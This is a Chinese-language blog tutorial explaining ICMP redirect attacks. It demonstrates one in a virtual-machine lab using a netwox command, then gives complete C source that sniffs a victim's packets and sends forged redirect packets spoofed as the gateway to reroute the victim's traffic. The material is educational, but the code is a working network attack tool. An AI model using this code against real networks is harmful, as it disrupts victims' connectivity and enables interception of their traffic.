RAW SOCKET实现ICMP重定向攻击

ICMP重定向攻击

一台主机通过网关G1访问网络X,G1在转发时发现主机直接通过另一个网关G2访问网络X会更快,这时候就可以发送一个重定向报文告知G1,访问网络X时的默认网关调整为G2。这样,在下一次主机想要访问网络X时,就会通过G2进行访问。

这时如果一个主机2想要对主机1进行攻击,可以伪装成G1,向主机1发送一个重定向报文,让主机1把对X的默认路由修改成一个错误地址,这样主机1就没法再访问网络X了。

但是ICMP重定向报文不能这么直接发送(否则这样的网络就太容易受到攻击了)。在正常的情况下,只有G1收到了主机1发送到网络X的包之后,才可能发送一个重定向报文给主机1。所以为了让主机1相信这个重定向报文是G1发送的,G1会把主机1发过来的原始报文的一部分,写到重定向报文中,证明自己是网关G1。

如果主机2和主机1同在一个网段,它想发起重定向攻击,就必须:

  • 抓取主机1发送给G1的包
  • 利用这个包,伪装成G1向主机1发送ICMP重定向报文

ICMP重定向报文格式

可以利用netwox和wireshark来模拟一下这个攻击:

开启两个虚拟机,分别为攻击者和被攻击者。这里的ip地址分别为:

  • 网关:192.168.52.2
  • 攻击者:192.168.52.144
  • 被攻击者:192.168.52.146

被攻击者持续ping百度:

ping www.baidu.com

在攻击者这里用netwox来做一下重定向攻击:

以源ip = 192.168.52.2的身份构造一个重定向包发送给被攻击者,指定了新的网关为192.168.52.144,即攻击者自己。

sudo netwox 86 -g 192.168.52.144 -i 192.168.52.2

受害者视角

由于攻击者默认不转发包,所以被攻击者把ping包发送给攻击者后就不会再ping通了。

下面是原始ping包:

重定向包中可以看到源ip是网关地址,且包含一部分原始报文:

下面的实验就是用raw socket来实现一遍netwox的工作。

RAW SOCKET

SOCK_STREAM和SOCK_DGRAM都只能处理运输层往上的数据,而为了实现这个攻击,需要自己处理网络层的数据,所以需要用到SOCK_RAW。

使用RAW SOCKET处理网络层数据时,内核会自动帮我们处理ip头部信息,但是为了伪装成G1,我们ip头部的src就必须修改为网关G1的ip地址。这时可以用setsockopt函数设置socket选项,让我们自己构造ip头部。

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ether.h>

#define BUFFSIZE 1 << 10
#define CAPTURE_SIZE 28
#define IP_HEAD_LENGTH 20
#define ICMP_HEAD_LENGTH 8

char* gateway_ip = "192.168.52.2";
char* self_ip = "192.168.52.144";
char* target_ip = "192.168.52.146";

/* 抓到目标ip发出的包后,将28字节内容写入pkt中 */
void Sniffer(unsigned char* pkt) {
  unsigned char buff[BUFFSIZE];
  int rawsock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (rawsock < 0) {
    printf("sniffer socket error.\n");
    exit(0);
  }
  /* 直到抓到目标ip发出的包 */
  while(1) {
    if (recvfrom(rawsock, buff, BUFFSIZE, 0, NULL, NULL) < 0) {
      printf("sniffer recv error.\n");
      exit(0);
    }
    struct ip* ip_data = (struct ip*)(buff + 14);
    if (strcmp(target_ip, inet_ntoa(ip_data->ip_src)) == 0) {
      memcpy(pkt, ip_data, CAPTURE_SIZE);
      return;
    }
  }
}

/* 校验和 */
uint16_t Checksum(uint16_t* data, int length) {
  uint32_t sum = 0;
  while (length > 1) {
    sum += *data;
    ++data;
    length -= 2;
  }
  if (length == 1) {
    sum += ((uint32_t)(*((unsigned char*)(data)))) << 8;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

/* 根据pkt,构造icmp重定向包并发送 */
void Attack(char* pkt) {
  int sendsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 
  if (sendsock < 0) {
    printf("Attack socket error.\n");
    exit(0);
  }

  int on = 1;
  /* IP_HDRINCL: 自定义ip头部 */
  if (setsockopt(sendsock, SOL_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
    printf("Attack socket opt error.\n");
    exit(0);
  }

  int size = IP_HEAD_LENGTH + ICMP_HEAD_LENGTH + CAPTURE_SIZE;
  unsigned char sendbuff[size];

  /* 构造ip头部 */
  struct ip* ip_head = (struct ip*)sendbuff;
  ip_head->ip_v = 4; //version
  ip_head->ip_hl = 5; //head length(4Bytes)
  ip_head->ip_tos = 0;
  ip_head->ip_len = size; //total length(1Bytes)
  ip_head->ip_id = 0;
  ip_head->ip_off = 0; //fragment
  ip_head->ip_ttl = 255; //time to live
  ip_head->ip_p = IPPROTO_ICMP;
  ip_head->ip_sum = 0;
  inet_aton(gateway_ip, &(ip_head->ip_src));
  inet_aton(target_ip, &(ip_head->ip_dst));

  /* 构造icmp头部 */
  struct icmp* icmp_head = (struct icmp*)(sendbuff + IP_HEAD_LENGTH);
  icmp_head->icmp_type = ICMP_REDIRECT;
  icmp_head->icmp_code = ICMP_REDIR_HOST;
  icmp_head->icmp_cksum = 0;
  inet_aton(self_ip, &(icmp_head->icmp_gwaddr)); //自身ip作为重定向中的网关ip
  memcpy(((char*)icmp_head) + ICMP_HEAD_LENGTH, pkt, CAPTURE_SIZE); //目标主机发出的包的一部分
  icmp_head->icmp_cksum = Checksum(icmp_head, ICMP_HEAD_LENGTH + CAPTURE_SIZE);
  
  /* 发送重定向包 */
  struct sockaddr_in target;
  target.sin_family = AF_INET;
  inet_aton(target_ip, &(target.sin_addr));
  if (sendto(sendsock, sendbuff, size, 0, (struct sockaddr*)&target, sizeof(target)) < 0) {
    printf("Attack send error.\n");
    exit(0);
  }
  
  close(sendsock);
}

int main() {
  /* 存原始报文,来构造重定向包 */ 
  unsigned char pkt[CAPTURE_SIZE];
  while (1) {
    Sniffer(pkt);
    Attack(pkt);
  }
  return 0;
}

注:需要开启混杂模式,才能抓取到目的ip不是本机的包,程序在运行时需要sudo。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值